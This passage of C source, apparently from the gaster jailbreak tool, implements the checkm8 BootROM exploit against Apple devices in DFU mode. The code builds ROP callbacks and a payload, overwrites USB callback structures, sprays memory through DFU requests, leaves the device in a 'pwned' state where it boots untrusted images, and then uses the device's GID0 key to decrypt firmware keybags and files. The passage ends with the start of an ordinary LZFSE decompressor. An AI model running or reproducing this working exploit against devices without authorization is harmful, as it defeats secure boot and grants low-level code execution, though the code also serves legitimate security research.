1096 | memcpy(data + ttbr0_vrom_off + sizeof(reg), ®, sizeof(reg));
1097 | reg = 0x60000180000625;
1098 | memcpy(data + ttbr0_sram_off, ®, sizeof(reg));
1099 | reg = 0x1800006A5;
1100 | memcpy(data + ttbr0_sram_off + sizeof(reg), ®, sizeof(reg));
1101 | usb_rop_callbacks(data + offsetof(dfu_callback_t, callback), insecure_memory_base, callbacks, sizeof(callbacks) / sizeof(callbacks[0]));
1102 | data_sz = ttbr0_sram_off + 2 * sizeof(reg);
1103 | } else {
1104 | data_sz = 0;
1105 | }
1106 | memcpy(data + data_sz, payload, payload_sz);
1107 | data_sz += payload_sz;
1108 | if(cpid == 0x8003 || cpid == 0x8000) {
1109 | memset(A9.pwnd, '\0', sizeof(A9.pwnd));
1110 | memcpy(A9.pwnd, pwnd_str, strlen(pwnd_str));
1111 | A9.payload_dest = boot_tramp_end - payload_handle_checkm8_request_sz - sizeof(handle_checkm8_request);
1112 | A9.dfu_handle_bus_reset = dfu_handle_bus_reset;
1113 | A9.dfu_handle_request = dfu_handle_request;
1114 | A9.payload_off = payload_sz + sizeof(A9);
1115 | A9.payload_sz = payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request);
1116 | A9.memcpy_addr = memcpy_addr;
1117 | A9.gUSBSerialNumber = gUSBSerialNumber;
1118 | A9.usb_create_string_descriptor = usb_create_string_descriptor;
1119 | A9.usb_serial_number_string_descriptor = usb_serial_number_string_descriptor;
1120 | A9.ttbr0_vrom_addr = ttbr0_addr + ttbr0_vrom_off;
1121 | A9.patch_addr = patch_addr;
1122 | memcpy(data + data_sz, &A9, sizeof(A9));
1123 | data_sz += sizeof(A9);
1124 | memcpy(data + data_sz, payload_handle_checkm8_request, payload_handle_checkm8_request_sz);
1125 | data_sz += payload_handle_checkm8_request_sz;
1126 | handle_checkm8_request.handle_interface_request = handle_interface_request;
1127 | handle_checkm8_request.insecure_memory_base = insecure_memory_base;
1128 | handle_checkm8_request.exec_magic = EXEC_MAGIC;
1129 | handle_checkm8_request.done_magic = DONE_MAGIC;
1130 | handle_checkm8_request.memc_magic = MEMC_MAGIC;
1131 | handle_checkm8_request.memcpy_addr = memcpy_addr;
1132 | handle_checkm8_request.usb_core_do_transfer = usb_core_do_transfer;
1133 | memcpy(data + data_sz, &handle_checkm8_request, sizeof(handle_checkm8_request));
1134 | data_sz += sizeof(handle_checkm8_request);
1135 | } else if(cpid == 0x8960 || cpid == 0x7001 || cpid == 0x7000 || cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) {
1136 | memset(notA9.pwnd, '\0', sizeof(notA9.pwnd));
1137 | memcpy(notA9.pwnd, pwnd_str, strlen(pwnd_str));
1138 | notA9.payload_dest = boot_tramp_end - payload_handle_checkm8_request_sz - sizeof(handle_checkm8_request);
1139 | notA9.dfu_handle_bus_reset = dfu_handle_bus_reset;
1140 | notA9.dfu_handle_request = dfu_handle_request;
1141 | notA9.payload_off = payload_sz + sizeof(notA9);
1142 | notA9.payload_sz = payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request);
1143 | notA9.memcpy_addr = memcpy_addr;
1144 | notA9.gUSBSerialNumber = gUSBSerialNumber;
1145 | notA9.usb_create_string_descriptor = usb_create_string_descriptor;
1146 | notA9.usb_serial_number_string_descriptor = usb_serial_number_string_descriptor;
1147 | notA9.patch_addr = patch_addr;
1148 | if(cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) {
1149 | notA9.patch_addr += ARM_16K_TT_L2_SZ;
1150 | }
1151 | memcpy(data + data_sz, ¬A9, sizeof(notA9));
1152 | data_sz += sizeof(notA9);
1153 | memcpy(data + data_sz, payload_handle_checkm8_request, payload_handle_checkm8_request_sz);
1154 | data_sz += payload_handle_checkm8_request_sz;
1155 | handle_checkm8_request.handle_interface_request = handle_interface_request;
1156 | handle_checkm8_request.insecure_memory_base = insecure_memory_base;
1157 | handle_checkm8_request.exec_magic = EXEC_MAGIC;
1158 | handle_checkm8_request.done_magic = DONE_MAGIC;
1159 | handle_checkm8_request.memc_magic = MEMC_MAGIC;
1160 | handle_checkm8_request.memcpy_addr = memcpy_addr;
1161 | handle_checkm8_request.usb_core_do_transfer = usb_core_do_transfer;
1162 | memcpy(data + data_sz, &handle_checkm8_request, sizeof(handle_checkm8_request));
1163 | data_sz += sizeof(handle_checkm8_request);
1164 | } else {
1165 | memset(notA9_armv7.pwnd, '\0', sizeof(notA9_armv7.pwnd));
1166 | memcpy(notA9_armv7.pwnd, pwnd_str, strlen(pwnd_str));
1167 | notA9_armv7.payload_dest = payload_dest_armv7;
1168 | notA9_armv7.dfu_handle_bus_reset = (uint32_t)dfu_handle_bus_reset;
1169 | notA9_armv7.dfu_handle_request = (uint32_t)dfu_handle_request;
1170 | notA9_armv7.payload_off = (uint32_t)(payload_sz + sizeof(notA9_armv7));
1171 | notA9_armv7.payload_sz = (uint32_t)(payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request_armv7));
1172 | notA9_armv7.memcpy_addr = (uint32_t)memcpy_addr;
1173 | notA9_armv7.gUSBSerialNumber = (uint32_t)gUSBSerialNumber;
1174 | notA9_armv7.usb_create_string_descriptor = (uint32_t)usb_create_string_descriptor;
1175 | notA9_armv7.usb_serial_number_string_descriptor = (uint32_t)usb_serial_number_string_descriptor;
1176 | memcpy(data + data_sz, ¬A9_armv7, sizeof(notA9_armv7));
1177 | data_sz += sizeof(notA9_armv7);
1178 | memcpy(data + data_sz, payload_handle_checkm8_request, payload_handle_checkm8_request_sz);
1179 | data_sz += payload_handle_checkm8_request_sz;
1180 | handle_checkm8_request_armv7.handle_interface_request = (uint32_t)handle_interface_request;
1181 | handle_checkm8_request_armv7.insecure_memory_base = (uint32_t)insecure_memory_base;
1182 | handle_checkm8_request_armv7.exec_magic = (uint32_t)EXEC_MAGIC;
1183 | handle_checkm8_request_armv7.done_magic = (uint32_t)DONE_MAGIC;
1184 | handle_checkm8_request_armv7.memc_magic = (uint32_t)MEMC_MAGIC;
1185 | handle_checkm8_request_armv7.memcpy_addr = (uint32_t)memcpy_addr;
1186 | handle_checkm8_request_armv7.usb_core_do_transfer = (uint32_t)usb_core_do_transfer;
1187 | memcpy(data + data_sz, &handle_checkm8_request_armv7, sizeof(handle_checkm8_request_armv7));
1188 | data_sz += sizeof(handle_checkm8_request_armv7);
1189 | }
1190 | overwrite = NULL;
1191 | overwrite_sz = 0;
1192 | if(cpid == 0x8960 || cpid == 0x7001 || cpid == 0x7000 || cpid == 0x8003 || cpid == 0x8000) {
1193 | memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite));
1194 | checkm8_overwrite.callback.callback = insecure_memory_base;
1195 | overwrite = &checkm8_overwrite;
1196 | overwrite_sz = sizeof(checkm8_overwrite);
1197 | } else if(cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) {
1198 | if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) {
1199 | memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite));
1200 | checkm8_overwrite.callback.callback = nop_gadget;
1201 | checkm8_overwrite.callback.next = insecure_memory_base;
1202 | overwrite = &checkm8_overwrite;
1203 | overwrite_sz = sizeof(checkm8_overwrite);
1204 | }
1205 | } else {
1206 | memset(&checkm8_overwrite_armv7, '\0', sizeof(checkm8_overwrite_armv7));
1207 | checkm8_overwrite_armv7.callback.callback = (uint32_t)insecure_memory_base;
1208 | overwrite = &checkm8_overwrite_armv7;
1209 | overwrite_sz = sizeof(checkm8_overwrite_armv7);
1210 | }
1211 | if(overwrite != NULL && send_usb_control_request(handle, 2, 3, 0, 0x80, overwrite, overwrite_sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
1212 | ret = true;
1213 | for(i = 0; ret && i < data_sz; i += packet_sz) {
1214 | packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
1215 | ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, NULL);
1216 | }
1217 | if(ret) {
1218 | send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, NULL);
1219 | send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, NULL);
1220 | dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC);
1221 | dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST);
1222 | dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
1223 | }
1224 | }
1225 | free(data);
1226 | }
1227 | }
1228 | return ret;
1229 | }
1230 |
1231 | static bool
1232 | gaster_checkm8(usb_handle_t *handle) {
1233 | enum {
1234 | STAGE_RESET,
1235 | STAGE_SETUP,
1236 | STAGE_SPRAY,
1237 | STAGE_PATCH,
1238 | STAGE_PWNED
1239 | } stage = STAGE_RESET;
1240 | bool ret, pwned;
1241 |
1242 | init_usb_handle(handle, APPLE_VID, DFU_MODE_PID);
1243 | while(stage != STAGE_PWNED && wait_usb_handle(handle, checkm8_check_usb_device, &pwned)) {
1244 | if(!pwned) {
1245 | if(stage == STAGE_RESET) {
1246 | puts("Stage: RESET");
1247 | ret = checkm8_stage_reset(handle);
1248 | stage = STAGE_SETUP;
1249 | } else if(stage == STAGE_SETUP) {
1250 | puts("Stage: SETUP");
1251 | ret = checkm8_stage_setup(handle);
1252 | stage = STAGE_SPRAY;
1253 | } else if(stage == STAGE_SPRAY) {
1254 | puts("Stage: SPRAY");
1255 | ret = checkm8_stage_spray(handle);
1256 | stage = STAGE_PATCH;
1257 | } else {
1258 | puts("Stage: PATCH");
1259 | ret = checkm8_stage_patch(handle);
1260 | stage = STAGE_RESET;
1261 | }
1262 | if(ret) {
1263 | puts("ret: true");
1264 | } else {
1265 | puts("ret: false");
1266 | stage = STAGE_RESET;
1267 | }
1268 | reset_usb_handle(handle);
1269 | } else {
1270 | stage = STAGE_PWNED;
1271 | puts("Now you can boot untrusted images.");
1272 | }
1273 | close_usb_handle(handle);
1274 | }
1275 | return stage == STAGE_PWNED;
1276 | }
1277 |
1278 | static size_t
1279 | decompress_lzss(const uint8_t *src, size_t src_len, uint8_t *dst, size_t dst_len) {
1280 | const uint8_t *src_end = src + src_len, *dst_start = dst, *dst_end = dst + dst_len;
1281 | uint16_t i, r = LZSS_N - LZSS_F, flags = 0;
1282 | uint8_t text_buf[LZSS_N + LZSS_F - 1], j;
1283 |
1284 | memset(text_buf, ' ', r);
1285 | while(src != src_end && dst != dst_end) {
1286 | if(((flags >>= 1U) & 0x100U) == 0) {
1287 | flags = *src++ | 0xFF00U;
1288 | if(src == src_end) {
1289 | break;
1290 | }
1291 | }
1292 | if((flags & 1U) != 0) {
1293 | text_buf[r++] = *dst++ = *src++;
1294 | r &= LZSS_N - 1U;
1295 | } else {
1296 | i = *src++;
1297 | if(src == src_end) {
1298 | break;
1299 | }
1300 | j = *src++;
1301 | i |= (j & 0xF0U) << 4U;
1302 | j = (j & 0xFU) + LZSS_THRESHOLD;
1303 | do {
1304 | *dst++ = text_buf[r++] = text_buf[i++ & (LZSS_N - 1U)];
1305 | r &= LZSS_N - 1U;
1306 | } while(j-- != 0 && dst != dst_end);
1307 | }
1308 | }
1309 | return (size_t)(dst - dst_start);
1310 | }
1311 |
1312 | static const uint8_t *
1313 | der_decode(const uint8_t *der, const uint8_t *der_end, size_t *out_len, uint8_t *tag) {
1314 | size_t der_len;
1315 |
1316 | if(der_end - der > 2) {
1317 | *tag = *der++;
1318 | if(((der_len = *der++) & 0x80U) != 0) {
1319 | *out_len = 0;
1320 | if((der_len &= 0x7FU) <= sizeof(*out_len) && (size_t)(der_end - der) >= der_len) {
1321 | while(der_len-- != 0) {
1322 | *out_len = (*out_len << 8U) | *der++;
1323 | }
1324 | }
1325 | } else {
1326 | *out_len = der_len;
1327 | }
1328 | if(*out_len != 0 && (size_t)(der_end - der) >= *out_len) {
1329 | return der;
1330 | }
1331 | }
1332 | return NULL;
1333 | }
1334 |
1335 | static const uint8_t *
1336 | der_decode_seq(const uint8_t *der, const uint8_t *der_end, const uint8_t **seq_end) {
1337 | size_t der_len;
1338 | uint8_t tag;
1339 |
1340 | if((der = der_decode(der, der_end, &der_len, &tag)) != NULL && tag == DER_SEQ) {
1341 | *seq_end = der + der_len;
1342 | }
1343 | return der;
1344 | }
1345 |
1346 | static const uint8_t *
1347 | der_decode_uint64(const uint8_t *der, const uint8_t *der_end, uint64_t *r) {
1348 | size_t der_len;
1349 | uint8_t tag;
1350 |
1351 | if((der = der_decode(der, der_end, &der_len, &tag)) != NULL && tag == DER_INT && (*der & 0x80U) == 0 && (der_len <= sizeof(*r) || (--der_len == sizeof(*r) && *der++ == 0))) {
1352 | *r = 0;
1353 | while(der_len-- != 0) {
1354 | *r = (*r << 8U) | *der++;
1355 | }
1356 | return der;
1357 | }
1358 | return NULL;
1359 | }
1360 |
1361 | static bool
1362 | der_parse_seq(const uint8_t *der, size_t der_len, const der_item_spec_t *specs, size_t spec_cnt, der_item_t *out) {
1363 | const uint8_t *der_end;
1364 | size_t i, off;
1365 | uint8_t tag;
1366 |
1367 | if((der = der_decode_seq(der, der + der_len, &der_end)) != NULL) {
1368 | for(i = 0; i < spec_cnt; ++i) {
1369 | if((der = der_decode(der, der_end, &der_len, &tag)) == NULL) {
1370 | for(; i < spec_cnt; ++i) {
1371 | if((specs[i].flags & DER_FLAG_OPTIONAL) == 0) {
1372 | return false;
1373 | }
1374 | }
1375 | return true;
1376 | }
1377 | if(specs[i].tag == tag) {
1378 | off = specs[i].off;
1379 | out[off].buf = der;
1380 | out[off].len = der_len;
1381 | } else if((specs[i].flags & DER_FLAG_OPTIONAL) == 0) {
1382 | return false;
1383 | }
1384 | der += der_len;
1385 | }
1386 | return true;
1387 | }
1388 | return false;
1389 | }
1390 |
1391 | static bool
1392 | img4_get_kbag(img4_t img4, uint8_t *kbag) {
1393 | const uint8_t *iv, *key, *der, *der_end;
1394 | size_t iv_len, key_len;
1395 | bool ret = false;
1396 | uint8_t tag;
1397 | uint64_t r;
1398 |
1399 | if(img4.im4p.kbag.buf != NULL && (der = der_decode_seq(img4.im4p.kbag.buf, img4.im4p.kbag.buf + img4.im4p.kbag.len, &der_end)) != NULL && (der = der_decode_seq(der, der_end, &der_end)) != NULL && (der = der_decode_uint64(der, der_end, &r)) != NULL && r == 1 && (iv = der_decode(der, der_end, &iv_len, &tag)) != NULL && tag == DER_OCTET_STR && iv_len == AES_BLOCK_SZ && (key = der_decode(iv + iv_len, der_end, &key_len, &tag)) != NULL && tag == DER_OCTET_STR && key_len == AES_KEY_SZ_BYTES_256) {
1400 | memcpy(kbag, iv, iv_len);
1401 | memcpy(kbag + iv_len, key, key_len);
1402 | ret = true;
1403 | }
1404 | return ret;
1405 | }
1406 |
1407 | static bool
1408 | img4_init(const uint8_t *src, size_t src_len, img4_t *img4) {
1409 | memset(img4, '\0', sizeof(*img4));
1410 | return (der_parse_seq(src, src_len, der_img4_item_specs, sizeof(der_img4_item_specs) / sizeof(der_img4_item_specs[0]), &img4->magic) && img4->magic.len == 4 && memcmp(img4->magic.buf, "IMG4", img4->magic.len) == 0) || (der_parse_seq(src, src_len, der_im4p_item_specs, sizeof(der_im4p_item_specs) / sizeof(der_im4p_item_specs[0]), &img4->im4p.magic) && img4->im4p.magic.len == 4 && memcmp(img4->im4p.magic.buf, "IM4P", img4->im4p.magic.len) == 0);
1411 | }
1412 |
1413 | static bool
1414 | aes_256_cbc_decrypt(const uint8_t *key, const uint8_t *iv, const uint8_t *data_src, uint8_t *data_dst, size_t data_sz) {
1415 | #ifdef HAVE_LIBUSB
1416 | EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
1417 | bool ret = false;
1418 | int out_sz;
1419 |
1420 | if(ctx != NULL) {
1421 | ret = EVP_DecryptInit(ctx, EVP_aes_256_cbc(), key, iv) == 1 && EVP_CIPHER_CTX_set_padding(ctx, 0) == 1 && EVP_DecryptUpdate(ctx, data_dst, &out_sz, data_src, (int)data_sz) == 1 && out_sz > 0 && (size_t)out_sz == data_sz && EVP_DecryptFinal(ctx, data_dst + out_sz, &out_sz) == 1 && out_sz == 0;
1422 | EVP_CIPHER_CTX_free(ctx);
1423 | }
1424 | return ret;
1425 | #else
1426 | size_t out_sz;
1427 |
1428 | return CCCrypt(kCCDecrypt, kCCAlgorithmAES, 0, key, AES_KEY_SZ_BYTES_256, iv, data_src, data_sz, data_dst, data_sz, &out_sz) == kCCSuccess && out_sz == data_sz;
1429 | #endif
1430 | }
1431 |
1432 | static bool
1433 | img4_decrypt(img4_t img4, uint8_t *kbag, uint8_t **dec, size_t *dec_sz) {
1434 | struct {
1435 | uint32_t magic, type, adler32, uncomp_sz, comp_sz;
1436 | uint8_t pad[COMP_HDR_PAD_SZ];
1437 | } comp_hdr;
1438 | const uint8_t *der, *der_end;
1439 | bool ret = false;
1440 | uint8_t *data;
1441 | uint64_t r;
1442 |
1443 | if(img4.im4p.data.len > sizeof(comp_hdr) && (data = malloc(img4.im4p.data.len)) != NULL) {
1444 | if(aes_256_cbc_decrypt(kbag + AES_BLOCK_SZ, kbag, img4.im4p.data.buf, data, img4.im4p.data.len)) {
1445 | if(img4.im4p.comp.buf != NULL) {
1446 | der = img4.im4p.comp.buf;
1447 | der_end = der + img4.im4p.comp.len;
1448 | if((der = der_decode_uint64(der, der_end, &r)) != NULL && r == 1 && der_decode_uint64(der, der_end, &r) != NULL && r != 0 && (*dec = malloc((size_t)r)) != NULL) {
1449 | if(lzfse_decode_buffer(*dec, (size_t)r, data, img4.im4p.data.len, NULL) == r) {
1450 | *dec_sz = (size_t)r;
1451 | ret = true;
1452 | } else {
1453 | free(*dec);
1454 | }
1455 | }
1456 | } else {
1457 | memcpy(&comp_hdr, data, sizeof(comp_hdr));
1458 | if(comp_hdr.magic == __builtin_bswap32(COMP_HDR_MAGIC) && comp_hdr.type == __builtin_bswap32(COMP_HDR_TYPE_LZSS) && (comp_hdr.comp_sz = __builtin_bswap32(comp_hdr.comp_sz)) <= img4.im4p.data.len - sizeof(comp_hdr) && (comp_hdr.uncomp_sz = __builtin_bswap32(comp_hdr.uncomp_sz)) != 0 && (*dec = malloc(comp_hdr.uncomp_sz)) != NULL) {
1459 | if(decompress_lzss(data, comp_hdr.comp_sz, *dec, comp_hdr.uncomp_sz) == comp_hdr.uncomp_sz) {
1460 | *dec_sz = comp_hdr.uncomp_sz;
1461 | ret = true;
1462 | } else {
1463 | free(*dec);
1464 | }
1465 | } else if((*dec = malloc(img4.im4p.data.len)) != NULL) {
1466 | memcpy(*dec, data, img4.im4p.data.len);
1467 | *dec_sz = img4.im4p.data.len;
1468 | ret = true;
1469 | }
1470 | }
1471 | }
1472 | free(data);
1473 | }
1474 | return ret;
1475 | }
1476 |
1477 | static bool
1478 | gaster_command(usb_handle_t *handle, void *request_data, size_t request_len, uint8_t **response, size_t response_len) {
1479 | transfer_ret_t transfer_ret;
1480 | bool ret = false;
1481 |
1482 | if(wait_usb_handle(handle, NULL, NULL)) {
1483 | if(dfu_send_data(handle, request_data, request_len) && (*response = malloc(response_len)) != NULL) {
1484 | if(send_usb_control_request(handle, 0xA1, 2, 0xFFFF, 0, *response, response_len, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == response_len) {
1485 | ret = true;
1486 | } else {
1487 | free(*response);
1488 | }
1489 | }
1490 | close_usb_handle(handle);
1491 | }
1492 | return ret;
1493 | }
1494 |
1495 | static bool
1496 | gaster_aes(usb_handle_t *handle, uint32_t cmd, const uint8_t *src, uint8_t *dst, size_t len, uint32_t options) {
1497 | struct {
1498 | uint32_t magic_0, magic_1, func, pad, r[8];
1499 | } exec_cmd_armv7;
1500 | uint8_t data[DFU_MAX_TRANSFER_SZ], *response;
1501 | struct {
1502 | uint64_t magic, func, x[8];
1503 | } exec_cmd;
1504 | uint32_t r_armv7;
1505 | size_t data_sz;
1506 | uint64_t r;
1507 |
1508 | if(cpid == 0x8960 || cpid == 0x7001 || cpid == 0x7000 || cpid == 0x8003 || cpid == 0x8000 || cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) {
1509 | exec_cmd.magic = EXEC_MAGIC;
1510 | exec_cmd.func = aes_crypto_cmd;
1511 | exec_cmd.x[0] = cmd;
1512 | exec_cmd.x[1] = insecure_memory_base + 9 * sizeof(r);
1513 | exec_cmd.x[2] = insecure_memory_base + 2 * sizeof(r);
1514 | exec_cmd.x[3] = len;
1515 | exec_cmd.x[4] = options;
1516 | exec_cmd.x[5] = 0;
1517 | exec_cmd.x[6] = 0;
1518 | memcpy(data, &exec_cmd, sizeof(exec_cmd) - sizeof(r));
1519 | data_sz = sizeof(exec_cmd) - sizeof(r);
1520 | memcpy(data + data_sz, src, len);
1521 | data_sz += len;
1522 | } else {
1523 | exec_cmd_armv7.magic_0 = (uint32_t)EXEC_MAGIC;
1524 | exec_cmd_armv7.magic_1 = (uint32_t)EXEC_MAGIC;
1525 | exec_cmd_armv7.func = (uint32_t)aes_crypto_cmd;
1526 | exec_cmd_armv7.pad = 0;
1527 | exec_cmd_armv7.r[0] = cmd;
1528 | exec_cmd_armv7.r[1] = (uint32_t)(insecure_memory_base + 11 * sizeof(r_armv7));
1529 | exec_cmd_armv7.r[2] = (uint32_t)(insecure_memory_base + 4 * sizeof(r_armv7));
1530 | exec_cmd_armv7.r[3] = (uint32_t)len;
1531 | exec_cmd_armv7.r[4] = options;
1532 | exec_cmd_armv7.r[5] = 0;
1533 | exec_cmd_armv7.r[6] = 0;
1534 | memcpy(data, &exec_cmd_armv7, sizeof(exec_cmd_armv7) - sizeof(r_armv7));
1535 | data_sz = sizeof(exec_cmd_armv7) - sizeof(r_armv7);
1536 | memcpy(data + data_sz, src, len);
1537 | data_sz += len;
1538 | }
1539 | if(gaster_command(handle, data, data_sz, &response, len + 2 * sizeof(r))) {
1540 | memcpy(&r, response, sizeof(r));
1541 | if(r != DONE_MAGIC) {
1542 | free(response);
1543 | return false;
1544 | }
1545 | memcpy(&r, response + sizeof(r), sizeof(r));
1546 | if((uint32_t)r != 0) {
1547 | free(response);
1548 | return false;
1549 | }
1550 | memcpy(dst, response + 2 * sizeof(r), len);
1551 | free(response);
1552 | return true;
1553 | }
1554 | return false;
1555 | }
1556 |
1557 | static bool
1558 | gaster_decrypt(usb_handle_t *handle, const uint8_t *src, size_t src_len, uint8_t **dst, size_t *dst_len) {
1559 | uint8_t kbag[AES_BLOCK_SZ + AES_KEY_SZ_BYTES_256];
1560 | img4_t img4;
1561 |
1562 | return img4_init(src, src_len, &img4) && img4_get_kbag(img4, kbag) && gaster_aes(handle, AES_CMD_CBC | AES_CMD_DEC, kbag, kbag, sizeof(kbag), AES_KEY_SZ_256 | AES_KEY_TYPE_GID0) && img4_decrypt(img4, kbag, dst, dst_len);
1563 | }
1564 |
1565 | static bool
1566 | gaster_decrypt_kbag(usb_handle_t *handle, const char *kbag_str) {
1567 | uint8_t kbag[AES_BLOCK_SZ + AES_KEY_SZ_BYTES_256];
1568 | bool ret = false;
1569 | size_t i;
1570 |
1571 | if(strlen(kbag_str) == 2 * sizeof(kbag)) {
1572 | for(i = 0; i < sizeof(kbag); ++i) {
1573 | if(sscanf(&kbag_str[2 * i], "%02" SCNx8, &kbag[i]) != 1) {
1574 | break;
1575 | }
1576 | }
1577 | if(i == sizeof(kbag) && gaster_checkm8(handle) && gaster_aes(handle, AES_CMD_CBC | AES_CMD_DEC, kbag, kbag, sizeof(kbag), AES_KEY_SZ_256 | AES_KEY_TYPE_GID0)) {
1578 | printf("IV: ");
1579 | for(i = 0; i < AES_BLOCK_SZ; ++i) {
1580 | printf("%02" PRIX8, kbag[i]);
1581 | }
1582 | printf(", key: ");
1583 | for(i = 0; i < AES_KEY_SZ_BYTES_256; ++i) {
1584 | printf("%02" PRIX8, kbag[AES_BLOCK_SZ + i]);
1585 | }
1586 | putchar('\n');
1587 | ret = true;
1588 | }
1589 | }
1590 | return ret;
1591 | }
1592 |
1593 | static bool
1594 | gaster_decrypt_file(usb_handle_t *handle, const char *src_filename, const char *dst_filename) {
1595 | uint8_t *buf, *dec;
1596 | size_t len, dec_sz;
1597 | bool ret = false;
1598 | FILE *dst_fp;
1599 |
1600 | if(read_binary_file(src_filename, &buf, &len)) {
1601 | if(gaster_checkm8(handle) && gaster_decrypt(handle, buf, len, &dec, &dec_sz)) {
1602 | if((dst_fp = fopen(dst_filename, "wb")) != NULL) {
1603 | ret = fwrite(dec, 1, dec_sz, dst_fp) == dec_sz;
1604 | fclose(dst_fp);
1605 | }
1606 | free(dec);
1607 | }
1608 | free(buf);
1609 | }
1610 | return ret;
1611 | }
1612 |
1613 | static bool
1614 | gaster_reset(usb_handle_t *handle) {
1615 | init_usb_handle(handle, APPLE_VID, DFU_MODE_PID);
1616 | if(wait_usb_handle(handle, NULL, NULL)) {
1617 | send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
1618 | reset_usb_handle(handle);
1619 | close_usb_handle(handle);
1620 | return true;
1621 | }
1622 | return false;
1623 | }
1624 |
1625 | int
1626 | main(int argc, char **argv) {
1627 | char *env_usb_timeout = getenv("USB_TIMEOUT"), *env_usb_abort_timeout_min = getenv("USB_ABORT_TIMEOUT_MIN");
1628 | int ret = EXIT_FAILURE;
1629 | usb_handle_t handle;
1630 |
1631 | if(env_usb_timeout == NULL || sscanf(env_usb_timeout, "%u", &usb_timeout) != 1 || usb_timeout < 1) {
1632 | usb_timeout = 5;
1633 | }
1634 | printf("usb_timeout: %u\n", usb_timeout);
1635 | if(env_usb_abort_timeout_min == NULL || sscanf(env_usb_abort_timeout_min, "%u", &usb_abort_timeout_min) != 1 || usb_abort_timeout_min > usb_timeout) {
1636 | usb_abort_timeout_min = 0;
1637 | }
1638 | printf("usb_abort_timeout_min: %u\n", usb_abort_timeout_min);
1639 | if(argc == 2 && strcmp(argv[1], "reset") == 0) {
1640 | if(gaster_reset(&handle)) {
1641 | ret = 0;
1642 | }
1643 | } else if(argc == 2 && strcmp(argv[1], "pwn") == 0) {
1644 | if(gaster_checkm8(&handle)) {
1645 | ret = 0;
1646 | }
1647 | } else if(argc == 4 && strcmp(argv[1], "decrypt") == 0) {
1648 | if(gaster_decrypt_file(&handle, argv[2], argv[3])) {
1649 | ret = 0;
1650 | }
1651 | } else if(argc == 3 && strcmp(argv[1], "decrypt_kbag") == 0) {
1652 | if(gaster_decrypt_kbag(&handle, argv[2])) {
1653 | ret = 0;
1654 | }
1655 | } else {
1656 | printf("Usage: env %s options\n", argv[0]);
1657 | puts("env:");
1658 | puts("USB_TIMEOUT - USB timeout in ms");
1659 | puts("USB_ABORT_TIMEOUT_MIN - USB abort timeout minimum in ms");
1660 | puts("options:");
1661 | puts("reset - Reset DFU state");
1662 | puts("pwn - Put the device in pwned DFU mode");
1663 | puts("decrypt src dst - Decrypt file using GID0 AES key");
1664 | puts("decrypt_kbag kbag - Decrypt KBAG using GID0 AES key");
1665 | }
1666 | return ret;
1667 | }
1668 |
--------------------------------------------------------------------------------
/lzfse.c:
--------------------------------------------------------------------------------
1 | /* Copyright 2023 0x7ff
2 | *
3 | * Licensed under the Apache License, Version 2.0 (the "License");
4 | * you may not use this file except in compliance with the License.
5 | * You may obtain a copy of the License at
6 | *
7 | * http://www.apache.org/licenses/LICENSE-2.0
8 | *
9 | * Unless required by applicable law or agreed to in writing, software
10 | * distributed under the License is distributed on an "AS IS" BASIS,
11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | * See the License for the specific language governing permissions and
13 | * limitations under the License.
14 | */
15 | #include "lzfse.h"
16 | #include
17 | #include
18 | #include
19 | #include
20 |
21 | #define LZFSE_ENCODE_L_STATES (64)
22 | #define LZFSE_ENCODE_M_STATES (64)
23 | #define LZFSE_ENCODE_D_STATES (256)
24 | #define LZFSE_ENCODE_L_SYMBOLS (20)
25 | #define LZFSE_ENCODE_M_SYMBOLS (20)
26 | #define LZFSE_ENCODE_D_SYMBOLS (64)
27 | #define LZFSE_MATCHES_PER_BLOCK (10000)
28 | #define LZFSE_NO_BLOCK_MAGIC (0x00000000U)
29 | #define LZFSE_ENCODE_LITERAL_STATES (1024)
30 | #define LZFSE_ENCODE_LITERAL_SYMBOLS (256)
31 | #define LZFSE_ENDOFSTREAM_BLOCK_MAGIC (0x24787662U)
32 | #define LZFSE_UNCOMPRESSED_BLOCK_MAGIC (0x2D787662U)
33 | #define LZFSE_COMPRESSEDV1_BLOCK_MAGIC (0x31787662U)
34 | #define LZFSE_COMPRESSEDV2_BLOCK_MAGIC (0x32787662U)
35 | #define LZFSE_COMPRESSEDLZVN_BLOCK_MAGIC (0x6E787662U)
36 | #define LZFSE_LITERALS_PER_BLOCK (4 * LZFSE_MATCHES_PER_BLOCK)
37 |
38 | typedef uint16_t fse_state;
39 | typedef struct {
40 | uint8_t k, symbol;
41 | uint16_t delta;
42 | } fse_decoder_entry;
43 | typedef struct {
44 | uint32_t magic, n_raw_bytes;
45 | } uncompressed_block_header;
46 | typedef struct {
47 | uint32_t n_raw_bytes;
48 | } uncompressed_block_decoder_state;
49 | typedef struct {
50 | uint64_t accum;
51 | uint32_t accum_nbits, pad;
52 | } fse_in_stream;
53 | typedef struct {
54 | uint8_t total_bits, value_bits;
55 | uint16_t delta;
56 | uint32_t vbase;
57 | } fse_value_decoder_entry;
58 | typedef struct {
59 | uint32_t n_matches, n_lmd_payload_bytes;
